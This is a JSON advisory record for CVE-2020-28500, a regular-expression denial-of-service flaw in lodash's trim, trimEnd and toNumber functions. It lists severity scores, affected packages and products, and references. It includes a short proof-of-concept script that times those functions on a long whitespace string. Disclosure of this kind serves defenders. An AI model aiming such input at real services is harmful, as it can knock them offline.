{"id":"CVE-2020-28500","aliases":["CVE-2020-28500","GHSA-29mw-wpgm-hmr9"],"related":[],"kind":"vulnerability","state":"published","title":"Regular Expression Denial of Service (ReDoS)","summary":"Lodash versions prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Lodash versions prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.","source":"cvelist"},{"lang":"en","text":"All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `toNumber`, `trim` and `trimEnd` functions. \n\nSteps to reproduce (provided by reporter Liyuan Chen):\n```js\nvar lo = require('lodash');\n\nfunction build_blank(n) {\n    var ret = \"1\"\n    for (var i = 0; i < n; i++) {\n        ret += \" \"\n    }\n    return ret + \"1\";\n}\nvar s = build_blank(50000) var time0 = Date.now();\nlo.trim(s) \nvar time_cost0 = Date.now() - time0;\nconsole.log(\"time_cost0: \" + time_cost0);\nvar time1 = Date.now();\nlo.toNumber(s) var time_cost1 = Date.now() - time1;\nconsole.log(\"time_cost1: \" + time_cost1);\nvar time2 = Date.now();\nlo.trimEnd(s);\nvar time_cost2 = Date.now() - time2;\nconsole.log(\"time_cost2: \" + time_cost2);\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"Las versiones de Lodash anteriores a la 4.17.21 son vulnerables a la denegación de servicio por expresiones regulares (ReDoS) a través de las funciones toNumber, trim y trimEnd","source":"nvd"}],"published":"2021-02-15T11:10:16.225Z","modified":"2026-10-08T22:16:59.333Z","severity":{"scorer":"snyk","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P","score":5.3,"rating":"MEDIUM"},"severities":[{"scorer":"snyk","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:2.0","vector":"AV:N/AC:L/Au:N/C:N/I:N/A:P","score":5,"rating":"MEDIUM"}],"cwes":["CWE-400","CWE-1333"],"affected":[{"ranges":[{"version":"versions prior to 4.17.21","status":"affected"}],"product":"Lodash","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"4.0.0","status":"affected","fixed":"4.17.21"}],"ecosystem":"npm","package":"lodash","purl":"pkg:npm/lodash","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"4.0.0","status":"affected","fixed":"4.17.21"}],"ecosystem":"npm","package":"lodash-es","purl":"pkg:npm/lodash-es","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"4.0.0","status":"affected","lastAffected":"4.5.1"}],"ecosystem":"npm","package":"lodash.trimend","purl":"pkg:npm/lodash.trimend","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"4.0.0","status":"affected","lastAffected":"4.5.1"}],"ecosystem":"npm","package":"lodash.trim","purl":"pkg:npm/lodash.trim","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"4.0.0","status":"affected","fixed":"4.17.21"}],"ecosystem":"RubyGems","package":"lodash-rails","purl":"pkg:gem/lodash-rails","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"4.17.21"}],"vendor":"lodash","product":"lodash","cpe":"cpe:2.3:a:lodash:lodash:*:*:*:*:*:node.js:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"14.2.0"},{"status":"affected","version":"14.3.0"},{"status":"affected","version":"14.5.0"}],"vendor":"oracle","product":"banking_corporate_lending_process_management","cpe":"cpe:2.3:a:oracle:banking_corporate_lending_process_management:14.2.0:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"14.2.0"},{"status":"affected","version":"14.3.0"},{"status":"affected","version":"14.5.0"}],"vendor":"oracle","product":"banking_credit_facilities_process_management","cpe":"cpe:2.3:a:oracle:banking_credit_facilities_process_management:14.2.0:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"14.2.0"},{"status":"affected","version":"14.3.0"},{"status":"affected","version":"14.5.0"}],"vendor":"oracle","product":"banking_extensibility_workbench","cpe":"cpe:2.3:a:oracle:banking_extensibility_workbench:14.2.0:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"14.2.0"},{"status":"affected","version":"14.3.0"},{"status":"affected","version":"14.5.0"}],"vendor":"oracle","product":"banking_supply_chain_finance","cpe":"cpe:2.3:a:oracle:banking_supply_chain_finance:14.2.0:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"14.2.0"},{"status":"affected","version":"14.3.0"},{"status":"affected","version":"14.5.0"}],"vendor":"oracle","product":"banking_trade_finance_process_management","cpe":"cpe:2.3:a:oracle:banking_trade_finance_process_management:14.2.0:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"1.11.0"}],"vendor":"oracle","product":"communications_cloud_native_core_policy","cpe":"cpe:2.3:a:oracle:communications_cloud_native_core_policy:1.11.0:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"7.4.2"}],"vendor":"oracle","product":"communications_design_studio","cpe":"cpe:2.3:a:oracle:communications_design_studio:7.4.2:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"7.0"}],"vendor":"oracle","product":"communications_services_gatekeeper","cpe":"cpe:2.3:a:oracle:communications_services_gatekeeper:7.0:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"8.4"},{"status":"affected","version":"9.0"}],"vendor":"oracle","product":"communications_session_border_controller","cpe":"cpe:2.3:a:oracle:communications_session_border_controller:8.4:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"3.2.0"},{"status":"affected","version":"3.3.0"}],"vendor":"oracle","product":"enterprise_communications_broker","cpe":"cpe:2.3:a:oracle:enterprise_communications_broker:3.2.0:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"8.0.8.2.0"},{"status":"affected","version":"8.0.8.3.0"}],"vendor":"oracle","product":"financial_services_crime_and_compliance_management_studio","cpe":"cpe:2.3:a:oracle:financial_services_crime_and_compliance_management_studio:8.0.8.2.0:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"2.5.2.1"},{"status":"affected","version":"3.0.0.0"}],"vendor":"oracle","product":"health_sciences_data_management_workbench","cpe":"cpe:2.3:a:oracle:health_sciences_data_management_workbench:2.5.2.1:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","fixed":"9.2.6.1"}],"vendor":"oracle","product":"jd_edwards_enterpriseone_tools","cpe":"cpe:2.3:a:oracle:jd_edwards_enterpriseone_tools:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"8.58"},{"status":"affected","version":"8.59"}],"vendor":"oracle","product":"peoplesoft_enterprise_peopletools","cpe":"cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.58:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","introduced":"17.12.0","lastAffected":"17.12.11"},{"status":"affected","introduced":"18.8.0","lastAffected":"18.8.12"},{"status":"affected","introduced":"19.12.0","lastAffected":"19.12.11"},{"status":"affected","introduced":"20.12.0","lastAffected":"20.12.7"}],"vendor":"oracle","product":"primavera_gateway","cpe":"cpe:2.3:a:oracle:primavera_gateway:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","introduced":"17.7","lastAffected":"17.12"},{"status":"affected","version":"18.8"},{"status":"affected","version":"19.12"},{"status":"affected","version":"20.12"}],"vendor":"oracle","product":"primavera_unifier","cpe":"cpe:2.3:a:oracle:primavera_unifier:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"19.0"}],"vendor":"oracle","product":"retail_customer_management_and_segmentation_foundation","cpe":"cpe:2.3:a:oracle:retail_customer_management_and_segmentation_foundation:19.0:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","fixed":"1.0"},{"status":"affected","version":"1.0"},{"status":"affected","version":"1.0"}],"vendor":"siemens","product":"sinec_ins","cpe":"cpe:2.3:a:siemens:sinec_ins:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://snyk.io/vuln/SNYK-JS-LODASH-1018905","tags":["exploit","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074892","tags":["exploit","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074893","tags":["exploit","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074894","tags":["exploit","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074895","tags":["exploit","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://snyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074896","tags":["exploit","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/lodash/lodash/blob/npm/trimEnd.js%23L8","tags":["broken-link","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/lodash/lodash/pull/5065","tags":["patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.oracle.com//security-alerts/cpujul2021.html","tags":["not-applicable","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://security.netapp.com/advisory/ntap-20210312-0006/","tags":["third-party-advisory","x-refsource-confirm","x-transferred"],"sources":["cvelist","nvd"]},{"url":"https://www.oracle.com/security-alerts/cpuoct2021.html","tags":["patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.oracle.com/security-alerts/cpujan2022.html","tags":["patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.oracle.com/security-alerts/cpujul2022.html","tags":["patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf","tags":["patch","third-party-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-28500","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/github/advisory-database/pull/6139","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/lodash/lodash/pull/5065/commits/02906b8191d3c100c193fe6f7b27d1c40f200bb7","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/lodash/lodash/commit/c4847ebe7d14540bb28a8b932a9ce1b9ecbfee1a","tags":["web"],"sources":["ghsa"]},{"url":"https://security.netapp.com/advisory/ntap-20210312-0006","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/lodash-rails/CVE-2020-28500.yml","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/lodash/lodash","tags":["package"],"sources":["ghsa"]}],"credits":["Liyuan Chen"],"assigner":"snyk","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2026-10-08T21:08:42.739Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2020-28500","url":"https://www.cve.org/CVERecord?id=CVE-2020-28500","licence":"CVE Terms of Use","modified":"2026-10-08T21:13:56.095Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-29mw-wpgm-hmr9","url":"https://github.com/advisories/GHSA-29mw-wpgm-hmr9","licence":"CC-BY-4.0","modified":"2025-09-29T21:12:31.102Z"},{"source":"nvd","name":"NVD","id":"CVE-2020-28500","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-28500","licence":"Public domain","modified":"2026-10-08T22:16:59.333Z"}],"updatedAt":"2026-11-25T22:57:57.344Z","epss":{"score":0.07424,"percentile":0.94569,"date":"2026-12-01T12:00:22.000Z"}}